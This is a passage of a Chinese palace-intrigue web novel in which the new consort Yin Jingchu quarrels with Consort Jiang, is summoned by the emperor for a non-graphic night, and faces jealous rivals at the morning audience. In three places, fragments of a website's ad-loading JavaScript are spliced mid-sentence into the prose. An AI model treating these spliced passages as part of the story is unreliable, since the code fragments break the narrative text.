她这话倒将众人视线都吸引了去,殷璟初瞥了眼桃红,只见桃红替她奉茶盏时凑过来咬耳朵道:“这位便是岑容华,二公主的生母。” 殷璟初了然,方才来的时候桃红便紧着与她多说了几句,她有所了解。岑容华也是侍奉陛下有些年月的嫔妃了,东宫时诞下了二公主,若不是出身实在低微,这会儿也该是主位了。 不过陛下看重皇嗣的生母,虽说二公主名义上的养母是管贵嫔,但管贵嫔与岑容华同居一宫,素日多是岑容华照顾。 只是这位岑容华也是话里有话,端瞧这话是恭贺贤妃有喜,往后平安诞下子嗣与二公主作伴,可再仔细一听,她何尝不是借着女儿来邀宠,话里话外都是二公主,以此来勾起陛下的在意。 宫里孩子少,萧煜对一子二女都一视同仁,只是二公主年纪最小,又有不足之症,因此多得了几分关注与偏爱。 可放在其余嫔妃眼里,借着女儿来邀宠让她们心里都有些吃味。可那能怎么办呢?有女儿也是岑容华的本事,总好过她们无儿无女,只能眼巴巴望着。 果然,萧煜眼神中带了几分温情,缓声道:“朕有段日子未见嫙儿了,今日午膳朕去你宫里看看她。” 闻言,岑容华面上一喜,嘴角的欣喜怎么都压不住,当即便起身欠了欠道:“是,嫔妾与嫙儿在宫里恭候陛下驾临。” 姜才人听了这话心也凉了半截,她本就做好了今夜能侍寝的准备,便是轮也该是她了。没想到又被岑容华搬出二公主来争宠,她争不过。 一时气不顺,眼眸流转间便瞟到了殷璟初,见她神色平静,仿若旁人无论怎么发脾气,她都是这副淡然自若的模样,姜才人心里不快。 萧煜抬眸望向十几张生面孔,人人眼神中都是赤裸裸的炽热,都想要使出浑身解数来得到他的关注,萧煜冷淡地笑了笑,却并不在意。 唯有一人,一直微微垂眸,虽坐的稍远些,从萧煜的角度能看到她白皙的天鹅颈,一身品月色宫装衬得人清冷美丽,他的视线停留了几秒,而后收了回来。 只是这么几秒钟的关注也被江顺收入眼底,他顺着陛下的视线望过去,知道那位小主的身份后,他垂眼观鼻,心里上了心。 请安散了后,目送着高位嫔妃们离开,殷璟初直到最后才扶着桃红的手出了坤宁宫。 容采女被皇后罚跪在庭院中,来来往往的嫔妃和宫人们都在瞧着,可谓颜面扫地。 她满脸悲戚,可整个人都没了力气一般。她眼神中充斥着不甘,可更令她不可置信的是陛下竟那般凉薄冷淡,昨日她使劲浑身解数去讨陛下欢心,她以为陛下至少会对她有几分怜惜的,可没有。 殷璟初收回视线,桃红压低语气道:“容采女以后的日子不好过了。” 殷璟初能料想到,陛下坐拥后宫佳丽三千,若说能让他去维护什么人那实在难得。容采女一个新人,今日的确气焰太嚣张,公然顶撞皇后娘娘,不论为着什么缘故,陛下都会维护皇后,容采女是自作自受。 如是想着,她原地停留了一会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿正准备走时,一阵不合时宜的女声响起—— “我以为是谁呢,原来是殷宝林。”姜才人嘴角勾了一抹轻蔑的笑容,她甩了甩帕子,“上回殿选也没好生叙旧一番,我以为你过不了殿选,没想到又能在宫里碰上。” 殷璟初听出她话里的挑衅意味,她也不恼,欠了欠身道:“承蒙陛下和皇后娘娘慧眼,有幸入选。只是姜姐姐这颇为看不起的模样,难道是在质疑陛下的决意么?” 姜才人见她这般伶牙俐齿,恍惚想起数年前的模样,她勾了勾嘴角不屑道:“怎么,你如今入选就以为能压过我不成?你从前身份不同,自然该是所有人敬着。可多少年河东多少年河西,风水轮流转。哪怕这回你侥幸入选,也未必能走的长远。” “我要是你就日日躲在宫里不出来,别惹人笑话为好。” 殷璟初嘴角笑意慢慢寡淡了些,她一顿,忽注意到姜才人身后露出来的一抹黑色,她笑容遂盛了些。 “姜姐姐这话我着实听不懂了。也不知道我是否得罪过您,您这样依依不挠的,倒让妹妹有些惶恐了。”殷璟初面上露出几分无辜来,她上前两步软声道,“要是从前有什么地方得罪了姐姐,还希望姐姐莫要生气。宫里日子这样长,咱们姐妹时常作伴不是?” 她们二人向来不和,从前见面哪一次不是剑拔弩张。如今见殷璟初这样反常,明显是在恶心自己的,姜才人后退两步,面上带了几分嫌弃。 “你想与我冰释前嫌,可我偏不!”姜才人冷笑道,“我就是要与你相争,看看将来究竟是你得宠,还是我长盛不衰。日子的确漫长,所以咱们只管走着瞧。” 撂下一句狠话,姜才人带着宫人扬长而去。 殷璟初笑容敛了一些,一边桃红也有些看不过眼,“小主,虽然说姜才人位份比您高,可咱们也不用总是忍让。” 殷璟初摇了摇头,声音轻轻的,“无妨,也不是头一回了。从前闺阁不懂事,以为长大就好了。没想到她还这样见怪,罢了,咱们只管做好自己就是了。” 说罢,她转过身去携着桃红的背影离的越来越远。 萧煜立在树后,方才一直冷眼瞧着这一切。 江顺一直仔细留意着陛下的神情,他试探性开口道:“方才那位穿红衣的是淮阳侯府的千金,姜才人也是这回入宫的新人中位份最高的。若是按旧例,昨日您该召她侍寝的。” 话音才落下,萧煜一个寡淡的眼神扫过去,江顺立时噤声。 坤宁宫里,送走了请安的嫔妃们,殿内又恢复了往日的平静。 皇后喜静,素来不喜欢殿内这些人伺候,因此身边独留下了蕊珠。 她揉了揉太阳穴,面上有些疲惫,蕊珠透过窗户眺望院里,而后冷着声气道:“陛下才宠了容采女一夜,她竟这么高的气性敢顶撞娘娘,活的不耐烦了些。” 皇后听了这话,面上露出几分嫌恶,淡声道:“一个蠢货罢了。以为陛下给她几分好颜色就能翻天了,一会儿等她跪完时辰,你去常宁阁传本宫的旨意——” “采女容氏,不修德行,以下犯上,着降为从八品更衣。” 5. 第五章 蕊珠嘴角隐隐几分笑意,她欠了欠身说是。 皇后心头这才舒畅些,又问起皇长子,蕊珠一一据实回了,她眼神中闪过几分复杂。 心里斟酌了一番,她这才试探性地开口道:“贤妃娘娘有孕,若能平安诞下子嗣,不仅是母凭子贵,更是子凭母贵。” “如今宫里子嗣不多,皇长子是陛下唯一的皇子。陛下一向礼遇贤妃,若她安稳诞下皇子,只怕是……” 后头一句话没有说出口,但皇后心领神会。 她端起小几上的茶盏,茶香四溢,垂眼望着翠绿明亮的汤色,思绪却有些乱了。 她从来自矜身份,年少时是数一数二的世家贵女,早就认定将来会嫁给门当户对的世家郎君。 后来嫁给陛下,虽说门阀世家都对先帝篡权谋反,草莽出身等名声有些微词,可皇帝就是皇帝,容不得旁人诋毁。 她初嫁入东宫时,陛下虽然生性淡冷,但对她算得上体贴,夫妻之间相敬如宾不可谓不好。 但平顺的日子中总不免有些落寞,东宫中的姬妾不少,譬如徐氏,她与陛下的情分就不浅,有时候瞧着她撒娇撒痴,虽是觉得失了体统规矩,可当真是如此呢? 皇后有些心烦气乱,明知道自己不该有不好的心思,这岂不是脏了自己的手,她素来行事磊落。 但是忍不住,那些念头一起,仿佛就很难平息下去。 傍晚时分,敬事房的人恭恭敬敬地在外头候着。 掌事内侍是徐德智,他也是个老油条,能在敬事房管事做主的,嫔妃宫里都颇为拉拢,平日好处少不了。 不过这也是个十分聪明的,会看眼色做事。 江顺出来时瞧见徐德智在旁边候着,他身后的内侍手上捧着盛放绿头牌的托盘,一个个按照位分高低整齐摆放好。 江顺嘴角噙着恬淡的笑意,徐德智过来寒暄了两句,他眼珠子转了转笑道:“江公公,不知陛下什么时候翻牌子?按着规矩,一会儿就该让人到嫔妃宫里预备了。” 江顺想起陛下正醉心处理政务,到这会儿也没想起翻牌子的事儿,他叹了口气道:“方才我奉茶进去时,陛下都没吭声。咱们也不敢替陛下做主。” 徐德智知道这个理儿,便只能在外头候着了。 不知过了多久,里头终于传来动静,徐德智面上一松,忙理好仪容领着人进去了。 江顺在外头驻足片刻,望着天色,开始想起今日路上碰到的殷宝林和姜才人,都是这回选秀新人中的佼佼者。 姜才人已经是不可多得的美人了,偏生殷宝林还要更胜一筹。二者该说是旗鼓相当,只是姜才人的父亲淮阳侯,先帝登基时早早就站了队,从那时候开始飞黄腾达,一改往日的颓败气势。 殷宝林样样都好,人也出身世家,听说户部尚书殷大人就这么一个闺女。只是她的母亲到底出身前朝,总归是有些忌讳在的。 许也是因为这个缘故,她的封位比姜才人低了一阶。 可今日陛下的视线三番两次落到她身上,他跟在陛下多年,岂会瞧不出陛下的起了几分兴致。 他眼神眯了眯,且看今日陛下的心意了。 翠微宫倚香殿,屋里正燃着馥郁浓厚的香,姜才人阖着眼睛靠在榻上,玲珑正力度适中地给她捏肩膀,手上动作轻柔,又笑着道:“听说皇后娘娘降了容采女的位份,不,该说是容更衣了。” 姜才人闻言嘴角含了一抹讽刺的笑意,她睁开眼睛道:“她昨日捷足先登侍寝,我还以为是个多有能耐的人,原来也不过如此,自找死路。罢了,一个小小更衣有什么好在意的。” “只是这个时辰了,昨儿这时候早得了侍寝的消息,怎么到现在还没半点消息传过来。” 说到这里,她明显有些急躁。 玲珑素来了解自家小主的脾气,遂宽声安慰道:“小主别急,说不定一会儿敬事房的人就要到咱们殿里来的。今日若是小主侍寝,那可真是压长秋宫一头了。” 姜才人最好面子,事事都想要跟殷璟初争个高低,从前如此,如今更是这样。 果不其然,她身子稍稍正了正,摆手道:“但愿如此。可要说起来,从前的殷氏有与我相较的资格,今日的她是无论如何都比不过我的,我倒是要看她以后拿什么装样子。” 她慢慢站起身坐到梳妆台前,虽然已经打扮的齐整,但仍然觉得不够。 又将胭脂往脸上扑了扑,看着双颊愈发粉嫩,她才满意,仔仔细细检查一番衣着,一切都正好。 如今万事俱备,只欠东风了。 抬眼间,一阵脚步声响起。 姜才人回眸发觉是出去探听消息的东齐回来了,见他面上喜滋滋的,一回来就笑吟吟道:“恭喜小主,贺喜小主,奴才瞧见敬事房往咱们这边来了,今夜是小主大喜啊。” 话音落下,殿内伺候的宫人们都一脸喜色,纷纷跪下恭喜姜才人。 姜才人喜不自胜,娇声道:“好了,你们的赏赐跑不了的,都还不快去准备。” 小主得宠,宫人们自然得脸,一荣俱荣的事情,因此姜才人一声令下,人人都昂首挺胸的似公鸡一般,动静不小。 正殿也注意到这边的声响,祝贵嫔倚在软榻上,兴致勃勃地对着棋谱摆棋子,听了宫人的禀报,她不甚在意道:“也该到她了,到底是新人里拔尖的。” 她恩宠平平,不过大多心思也不放在陛下和争宠之事上,就这样平平淡淡过日子也是好的。 姜才人坐在殿内等候着敬事房来人,时间一点一滴过去,过了一盏茶时候还不见来人,她有些焦急,但面上还算稳定。 又过了一会儿,她扬声唤东齐再去瞧瞧,玲珑替她理了理耳边的鬓发。 透过铜镜,映入眼帘的是一张明媚的脸,姜才人颇为自得,又隐隐期盼着陛下今日来,面上难得含了些羞怯的笑意。 东齐拖着沉重的步子进来,姜才人瞥了他一眼,没有发觉他面上的小心与惧意,反而自顾自道:“人怎么还没到?” 东齐咬了咬牙,低着头道:“小主,敬事房的人去长秋宫了。” 惠和殿门口,敬事房的人恭恭敬敬候在外头,其中有位四十出头的嬷嬷笑吟吟嘱咐道:“小主今日大喜,陛下特意翻了您的牌子。只是这几日前朝政务繁忙,陛下还在批折子,亥时会驾临惠和殿,还望小主早些做好准备。” 话落,身后两个宫女便帮着惠和殿的宫人布置净室,嬷嬷将侍寝的注意事项一一告知,事无巨细。 殷璟初未曾预料到陛下会点她侍寝,想起今日坤宁宫外那番话,她嘴角隐隐透出一抹浅淡的笑意来。 嬷嬷抬眸,见殷璟初吹弹可破的柔嫩肌肤,眼波流转间流露出的风情,她心底微微一动,遂笑意愈盛道:“小主这般颜色,陛下必定喜欢。说句多余的话,这回入宫的小主里头,除了昨儿的容更衣,奴婢最看重的就是小主您了。” 殷璟初微微一笑,却并不将这话当真。她对自己这般说,对姜才人也会这样说,实在是常见的讨好话术。 她瞥了眼莹妆,莹妆忙领会了用意,从袖口掏出一个小巧的荷包来塞给嬷嬷,嬷嬷见状笑意愈发真切,娴熟地将荷包收下后又道:“多谢小主。” “陛下不喜欢香料,素来嫔妃侍寝时身上香料抹多了,陛下都觉得香味太浓厚,多有不喜。小主您天生丽质,自然不必担忧了。” 殷璟初笑意恬淡道:“多谢嬷嬷提点。” 送走了敬事房的人,惠和殿便敲锣打鼓预备迎接圣驾。 殷璟初坐到梳妆台前,透过铜镜瞧见莹妆喜滋滋的模样,殷璟初哑然失笑道:“有话便说。” 莹妆喜不自胜,她拖着悠长的语调道:“奴婢是替小主欢喜,看那姜才人明日是什么反应。从殿选开始她就一直洋洋得意,觉得压了小主一筹,如今可好,总算是陛下有眼,可得好好压压她的盛气才是。” 殷璟初听着这话,眼神中笑意倒淡了几分,“我入宫可不是为着与她打擂台。往后,若是能平安相处就罢了,若是不能,我也不会容情。” 莹妆点了点头,笑道:“小主能这样想就最好了。净室那边已经备好了,小主可要过去沐浴?” 殷璟初瞥了眼滴漏,漫不经心道:“也好。” 净室雾气缭绕,温热的气息扑面而来,褪去了繁重的锦缎宫装,殷璟初整个人沉浸在玫瑰汤池中,慢慢全身心放松,面上带着几分享受的神情。 莹妆在一边侍候她,不时笑着说些宫里的趣事,兰时则将寝衣送了来搁在架子上。 莹妆只是稍稍回头瞧了眼,面上泛起潮红来,她低着头有些不好意思再瞧。 月白色薄如蝉翼的纱衣,内搭素白色的兰花纹抹胸。 莹妆面热,惹得殷璟初面上亦浮起两团红晕。 雾气氤氲,她白皙的面庞衬得娇嫩欲滴,平添几分勾人的风情。 殷璟初将莹妆打发出去,独自一人静一静,她静静地阖上眼眸。 长秋宫门口,圣驾悄然而至。松融眼尖瞧见了陛下的身影,他微微一怔,此刻离约定好的时辰早了许多,心里咯噔一下,唯恐到时候见罪于陛下,当下就急着要跑回去禀报小主。 哪知道江顺一下子瞧见了他,当即咳嗽两声提醒松融。 松融如同被定住了一般,他浑身发颤,忙就转身勉强挤出笑容道:“奴才参见陛下。” 萧煜神情淡淡,只唔了声,江顺当即领会了他的用意,遂含笑道:“不必禀报殷宝林。” 松融闻言怔怔的,似乎不明白陛下这是什么用意,他脚下踟蹰,只得跟着御前的人往前走。 惠和殿前的宫人们都望见了陛下,一个两个都有些惊慌失措的模样。 小主这时候还在净室沐浴,陛下打了个措手不及。他们害怕小主见罪于陛下,到时候被责备啊。 哪知道江顺摆了摆手,正要行礼的宫人们都愣着,噤声。 桃红等人都紧张兮兮地望着净室那边的动静,低着头盘算着怎样让小主知道陛下来了。 哪知道萧煜张了张嘴,问道:“你们小主呢?” 莹妆手忍不住发抖,她稳了稳心神上前欠了欠身答道:“回陛下的话,小主正在净室沐浴。陛下勿怪,奴婢这就去请小主过来。” 说话间她就要转身过去,哪知道萧煜神情中透着几分玩味,遂摆手道:“不必。” 众人听了这话愈发懵,不明白陛下的用意。 直到一个两个都眼睁睁望着陛下抬脚朝净室去,人都彻底呆住了。 江顺见状也是惊讶,但他是见过大场面的人,当即就有条不紊地指挥着内侍们退出去,再瞧见殷宝林宫里的几个宫女都有些担忧和不知所措。 往常陛下驾临嫔妃宫里时,嫔妃们大都早早沐浴好打扮精致来迎接陛下。今日最稀奇的地方,陛下明明先说亥时来,如今提前了时候来,已经够耐人寻味了。 陛下方才的举动是不是可以理解为迫不及待呢? 江顺嘴角勾起一抹笑,不知道这位殷宝林比起容更衣是否更胜一筹呢? 净室一派安静,殷璟初靠在汤池边,时间差不多了,她正要唤莹妆进来,哪料一阵脚步声传来,殷璟初笑了笑扬声道:“你这妮子倒是聪慧,我正要唤你进来呢,快些将架子上的衣衫递过来。” 萧煜闻言停下了脚步,视线落在架子上的衣衫上。这不看不打紧,一看不过是一件薄薄的纱衣罢了,不知为何,他嘴角难得勾起一抹笑来,伸手将稀少的衣料拿在手上。 殷璟初见迟迟不曾有动静传过来,一时觉得纳闷便转了头去看,一刹那,她整个人都呆住了,面上愈发羞红,连耳根子都迅速染上了色。 “陛下。” 她轻轻唤了声。 陛下颀长的身影出现在眼前,他手上还随意拿着她的纱衣和抹胸,这场景瞧的人面红耳热,恨不得找个地方钻下去才是。 萧煜瞧见的便是这样一番模样,女子恍若受惊一般,不自觉地往右侧动了动,明媚精致的容颜泛起潮红,他不自觉落到她娇艳欲滴的唇上,一时有些意动。 说不清这烦躁的感觉从何而来,可明显觉得有些燥热。 殷璟初就这样瞧着陛下朝她一步步过来,她羞的不敢动弹,只是双手不自觉轻轻遮掩到胸前,殊不知这副举动更能引起陛下的反应。 萧煜伸手抚上她圆润细腻的肩头,如上好的羊脂白玉一般温润的触感,殷璟初 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乌黑的长发散落下来,她不由得战栗起来,能清楚地感受到陛下的手掌带着薄茧。 她咬了咬唇正抬眸望向陛下,眼神中满是潋滟风情,不期然间细密温热的吻便落了下来。 殷璟初第一次与男子这般亲密,纵然得知今夜侍寝也料想过这样的画面,但真正到来时,她还是有些慌张。 萧煜见她的反应实在生涩,半晌,不由得笑出了声。 殷璟初讪讪地轻轻推开陛下,正要寻了陛下方才随意仍在一边的抹胸和纱衣换上,哪知道萧煜直接将她从汤池中带了起来,整个人踉跄着落到了她怀里。 萧煜将龙袍外裳搂抱住了她,殷璟初羞的快要睁不开眼睛了,她不自觉勾住陛下的脖颈,面上红的滴血轻轻道:“陛下怎么不让人通传一声就进来了,嫔妾……” 如痴如诉,语气中不自觉就带了娇柔的嗔怪之意,反倒是让萧煜更有些抑制不住。 就这样一路抱着殷璟初到内室,一路上她都将脑袋埋在陛下怀里,心里竟在想明日不知该如何被莹妆她们笑话了,这样想着,她面上潮红久久不散。 萧煜将她放在床榻上,她忙寻了锦被将自己裹起来,萧煜瞧着好笑,愈发生了逗弄她的心思。 “无妨,他们都不敢瞧的。” “陛下您还说。”殷璟初不好意思地嘟囔了声,又将脑袋埋了进去,果真是要羞死人了。 萧煜却不给她害羞的机会,他欺身上去,手轻轻地抚摸她的下巴,二人靠的极近,他一字一顿道:“今日坤宁宫外,朕瞧你可不是这般。” 殷璟初听了这话一愣,又压低声音软软道:“陛下瞧见了?嫔妾原不是这样的,可是人欺负到了跟前,嫔妾自然也要好好分说一番。” 果然,今日陛下都瞧见了,她想起对姜才人说的那些话,也算是不卑不亢,并未有什么过分失礼的地方。 饶是这般,她还是仔细觑了眼萧煜的神情,见他面上浅笑不减,遂才放下心去。 萧煜只是觉得她有意思。 先头一副伶牙利嘴,振振有词的模样,而后瞥到了江顺,又换了一副楚楚可怜的模样,他心底这才起了几分兴致。 自然,这样一副勾人的容貌也是必不可少的。 他不喜欢无盐女,放眼满宫里的嫔妃,他都不得不承认殷璟初的容貌是出类拔萃的。 今日这番看似无意的质问,若是换成旁人,恐怕早就畏畏缩缩请罪了,偏她不一般,瞧她有些委屈的小模样,萧煜不知为何心底生了几分怜惜。 “朕又没怪你。” 闻言,殷璟初如释重负一般抬起头,眼神中已凝结了些水雾,轻声道:“是。” 萧煜见她还是一副可怜小模样,一时好笑,便道:“你这副模样,倒让人觉得是朕欺负了你似的。” 殷璟初摇了摇头,柔声道:“嫔妾只是觉得初到这宫里人生地不熟,嫔妾与姜才人虽不要好,可到底相识许久,嫔妾未曾得罪过她,她却也要这般落井下石,心里有些不得意罢了。” 萧煜听她这样娓娓道来,不由得伸手握住她的柔荑。 “那你求求朕,朕考虑一下给你出口气。” 萧煜原是没想到这话,却不知为何在这般情形之下,这番话竟然就脱口而出了。 殷璟初闻言,眼神亮晶晶地抬起头来,她眼珠子轻转了转,而后凑过去吻落在萧煜的侧脸。 那一瞬,空气都凝滞住了一般。 萧煜微怔,殷璟初察觉到情况有些不对,她咬了咬唇正要请罪,哪知道这就是一切失控的开始。 她一夜都未曾歇息好,也不知道陛下叫了几次水,何时叫水,待次日睁眼醒来时,浑身酸胀不已,尤其是下半身。 她动了动胳膊,还没唤人,莹妆和兰时便进来了,二人都一副笑嘻嘻的模样。 都不必殷璟初说话,两个人便叽叽喳喳说了起来,“陛下一早就离开上早朝去了,说是让小主多休息一会儿,便是不去坤宁宫请安也是可以的。” “奴婢瞧着陛下可喜欢小主呢,昨儿来时冷着脸的模样有点可怕,今早走时脸上难得露了些笑意,还打赏了咱们宫的宫人呢。江公公走前偷偷跟奴婢说,小主的赏赐等下了早朝后送过来。” 殷璟初听了这话嘴角隐隐几分笑意,陛下还有些体贴,若是一早就送来,只怕今早请安她别想安安稳稳离开坤宁宫了,到时候只怕又是贵妃,又是玫妃,不知得多惹眼。 虽说陛下话里免了她请安,容更衣前车之鉴还在那里,她哪里能真的不去请安呢? 这般想着,她慢慢爬了起来,忍着身上的酸胀疼痛就招呼人进来伺候洗漱梳妆。 不当是莹妆和兰时,年长些的桃红和萼绿就不说了,连豆蔻和香薷脸色都有些不对,殷璟初有些心虚,联想到了昨夜旖旎情事,当即红着脸不吭声。 哪知道豆蔻还大惊小怪道:“哎呀,小主怎么脸这么红啊?看来今天不用上胭脂了。” 殷璟初当即想要挖个地洞钻进去,她举起双手遮着脸,颇有些恼羞成怒道:“谁教你的,还打趣起我来了。再说,再说今日午膳不许你吃了。” 豆蔻哪里不知道殷璟初嘴硬心软,怎么可能不让她用午膳,当即笑出了声。 说说笑笑间,殷璟初今日带了莹妆去请安,一路到坤宁宫时辰还早。 今日不同往日,她一进去一道道视线齐刷刷落到身上,若换成别人恐怕早就受不住了,但殷璟初还算镇定,她恭恭敬敬地给上座的皇后娘娘行了礼。 皇后娘娘态度温和,她浅笑道:“陛下今早已经派了人与本宫说免了你今日请安,说你昨夜侍寝颇为辛苦,哪知道你今日还是来了。” 殷璟初垂眸,语气愈发恭谨道:“给皇后娘娘请安是嫔妾作为嫔妃的本分,嫔妾不敢懈怠。” 不论这话是不是真的,皇后都很满意殷璟初的态度。她喜欢这种拎的清的人,而不喜欢那种恃宠而骄的蠢货。 她笑了笑就让她落座,殷璟初人还没坐稳就听见一阵熟悉的声音—— “哎呀可瞧瞧,这就是殷宝林跟容更衣的区别。难怪有些人得宠连着宫人们也得了赏赐,可有些人呢?侍寝了一个子儿都没落得,说起来真是好笑的紧。” 6. 第六章 何良媛,便是那日特意提及容更衣晚来的人。 她的位置挨着岑容华,二人相视一笑,似是颇为熟稔的模样。 何良媛慢悠悠端起茶盏吹了口气,又拿腔拿调道:“可见这就是人与人的命不一样。自以为捷足先登了,实则不过是个笑话娱人开心罢了,这有福气的在后头。” “容更衣,你说是不是?” 何良媛是明摆着要给容更衣难堪,只见容更衣手紧紧地攥着衣裙,脸红的滴血,头似有千斤重一般抬不起来,看不清神情。 殷璟初眼眸微转,容更衣是与她一批入宫的新人,究竟做了什么事惹得何良媛这般记恨她,大庭广众之下要打她的脸。 她眼神中闪过几分狐疑。 何良媛见容更衣不说话,心里得意极了。 要说她和容更衣的龃龉,左不过是因为她们同居一宫,她就算恩宠再平平也是从四品的良媛,比容更衣高了好几个品阶,容更衣却仗着自个儿第一夜侍寝在她跟前趾高气扬。 何良媛第一天忍住了气,就想看看容更衣能得意几时。 如今可好,昨日坤宁宫请安她便忍不住气,特意提到晚来的容更衣,原是想借着请安来迟的由头让皇后娘娘好生责罚她一番,哪晓得她那般蠢笨,简直是自断生路。 她勾了勾嘴角还想再说,哪知道岑容华微微一笑,和声道:“好了,到底是新人面皮子薄。咱们都是同为伺候陛下的姐妹,凡事多担待些。” 何良媛见岑容华这样说,虽心底不大认可,但面上还是点了点头。 皇后不曾理会这些口舌之争,蕊珠替她奉茶时轻声道:“时候差不多了,贵妃娘娘还未到。” 皇后扫了眼左下第一个位置,神情依旧不变,只是眼底寡淡了些道:“她是贵妃,给本宫请安是本分。既然未派人来告假,那么多晚她都得来。” 话音刚落,说曹操曹操就到了。 徐贵妃照样是一袭盛装,她施施然行了礼落座后眼神扫了一圈最后停在殷璟初身上,似笑非笑道:“好一个妙人儿,昨日本宫竟然没有注意到。如今一个赛一个出挑,难怪陛下喜欢。” 贵妃酸了几句话,玫妃也瞥了眼殷璟初,心里有些不得劲,但她素来喜欢与徐贵妃别扭便笑道:“新人入宫陛下正是新鲜的时候,自然瞧着样样都好。譬如贵妃娘娘,总吃一道菜也觉得腻味了不是,自然要换口味的。” 主位间斗法,旁人都只管看戏却不敢轻易介入。 徐贵妃笑意敛了些,她冷笑一声道:“那是你,可不是本宫。菜腻不腻味要看做菜的人,要是一时就腻味了,可见这道菜原就不怎么样。” 玫妃勾了勾嘴角也不吭声了。 高位嫔妃们争相斗嘴了几句,皇后又不咸不淡说了几句话,无外乎天气愈发炎热,骆修容和管贵嫔要好生照顾公主,话说到这里时,殷璟初敏锐地察觉到岑容华笑吟吟的面上一瞬有些失神,眼底神情寡淡。 出了坤宁宫,莹妆扶着殷璟初的手,待到没有人的地方,她才舒了一口气道:“虽早就料到今日请安各宫嫔妃的注意力都会落在小主身上,但真正经历还是不一样。好在贵妃娘娘和玫妃娘娘斗法,没有殃及到小主。” 殷璟初笑了笑,“可我一进去也难免被人做了筏子。可见这宫里啊,没有一时半会是消停的。” 她悠悠叹了口气,其实身上还有些酸胀。 若是不晨昏定省,她怕是要睡到日上三竿才是。 主仆二人正预备回宫,不知姜才人从哪里冒出来的。 她虽艳妆浓抹,但眼底的青黑仍然没有遮住,恼羞成怒般冷笑道:“也不知道你昨日是使了什么手段勾着陛下去,简直是不知廉耻。那容氏捷足先登的下场还在这里摆着,你以为你能得意多久?” 她一夜未睡好,昨夜东齐回来禀报陛下去了长秋宫后,她忍不住怒气砸了几个茶盏。 亏她盛装打扮,满心欢喜在宫里候着陛下来,可陛下竟然去了殷璟初宫里,这比当日得知容更衣侍寝时还让她怒不可遏。 她自问出身名门,容貌也不逊色多少,何况她父亲淮阳侯是支持陛下的功臣,缘何会被一个身负前朝血脉的人压过去? 她不服。 殷璟初从来不曾将她放在眼里,虽说自幼相识,但也是势同水火,来往不多。 但姜含贞一次两次口出妄言,她拧了拧眉头,沉下脸道:“姜才人慎言!这是宫里,可不是你淮阳侯府。说什么话做什么事都要过脑子,你若再出言不逊,我会让人禀报皇后娘娘。” 姜才人却像疯魔了一般,她红着眼上前两步,莹妆警觉心提了起来,忙就作势挡在殷璟初身前,哪晓得姜才人扬起手臂,作势要打人。 殷璟初皱着眉头扯开莹妆,重重地推了姜才人一把。 姜才人一时不察,她重心不稳地踉跄几步跌坐在地上,手心擦破渗出了血丝。 她疼的眼神泛红,气急败坏喊道:“殷璟初,你胆敢对我这般。我是才人,你只是个小小宝林,你不怕我告诉皇后娘娘么?” 殷璟初冷冷一笑,她弯下身子凑近姜才人,语气中透着几分得意道:“才人又怎样,宝林又怎样?又不是天壤之别,可昨夜侍寝陛下很喜欢我呢,没准儿过几日就要升我的位份。至于你,昨日你对我说的那些混账话,陛下都听进去了,否则你以为陛下为何要点我侍寝呢?说起来我还要感谢你才是。” 听到后半句时,姜才人瞪圆了眼睛,气喘不停,她指着殷璟初恨声道:“是你,是你对不对,你在陛下面前胡说八道了些什么?你说,你说啊!” 瞧着她情绪失控,殷璟初才站直了身子,恢复往日的恬静温和,她径直望向伺候姜才人的玲珑,柔声细语道:“你们小主失心疯了,还不赶快带回寝宫去。这里人来人往的,莫要丢人现眼才是。” 玲珑被这副局面弄的不知所措,她蹲下去忙要扶姜才人起来,谁知道手才碰到姜才人,姜才人就歇斯底里道:“你说啊,你为何不敢说?是你在陛下跟前抹黑我,是你……” 殷璟初皱眉觉得闹腾,当即就扶着莹妆的手离开了。 莹妆吓的惊魂未定,她拍了拍胸脯道:“吓死奴婢了,姜才人怎么像变了个人似的生扑上来,差点就要对小主不利了。” 殷璟初眼神中闪过几分冷意,淡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“这种人就是欠修理,往日我太和颜悦色了些,该让她知道教训。” 莹妆很赞同这话,但又止不住担忧,她惴惴不安道:“姜才人本来就怨恨小主,若是跑到皇后娘娘跟前胡说八道可怎么好?到时候把脏水泼到小主身上……” 殷璟初摇了摇头,笑的一脸神秘道:“她现在可没有心思管这事儿,心里想的可都是我有没有与陛下吹耳旁风说她的不好。” “你瞧,她最后急的都变的面目可憎起来。我便在想,若是陛下今日翻了她的牌子,瞧见她一个劲儿解释昨日的话又在陛下跟前抹黑我,你说陛下会作何反应呢?” 殷璟初是真的很好奇。 不过,姜才人胸大无脑,这事儿倒真像是她能做出来的。 紫宸殿,萧煜才下了早朝,他正闭目养神,江顺瞅准了时机进来,恭谨垂眸道:“陛下吩咐要赏赐殷宝林的物件,可要过目?” 萧煜睁开眼睛,神情淡淡道:“这些小事还用来烦朕?” 江顺吃了瘪,他顿了顿便要默不作声退下去。 哪知道,萧煜神情变了变,他坐直了身子扬声道:“将东西呈上来罢。” 江顺一愣,心里忍不住腹诽,陛下还真是口嫌体直,这就是传闻中的口是心非,一边装的满不在乎,一边又忍不住瞧瞧。 其实这种侍寝过后陛下随口来说的赏赐一般都是普通的礼,备上几样精致华美的物件便是了。 萧煜扫了眼宫人手上捧着的琉璃盏,玉如意和百宝锦盒,都无甚心意。 若说从前,他从来不会在赏赐嫔妃的礼物上花费什么心思。便说第一个承宠的容更衣,他都不曾想到有赏赐,可不知道为什么换成了殷璟初,他心里便陡然生出几分不一样的滋味来。 他闭了闭眼,想起昨夜二人缠绵时的情形,沉吟道:“除了这些,再将朕库房里的红珊瑚珠玉步摇赏赐给殷宝林。” 江顺闻言怔了怔,忽然对这位殷宝林刮目相看。他记得陛下库房里的那对红珊瑚珠玉步摇曾经还被玫妃娘娘讨要过,陛下都不曾给,如今陛下竟然主动将东西赐给殷宝林,实在令人从这不同寻常的举动中嗅到了一丝不一样的意味。 他点了点头,又想起方才小栓子说的事情,欲言又止地望了萧煜一眼。 萧煜晲了他一眼,“有话便说。” “皇后娘娘晨起打发人来说亲自给您炖了汤,您派小栓子去坤宁宫取。小栓子回来的路上撞见殷宝林似乎与姜才人起了争执。” “似乎?” 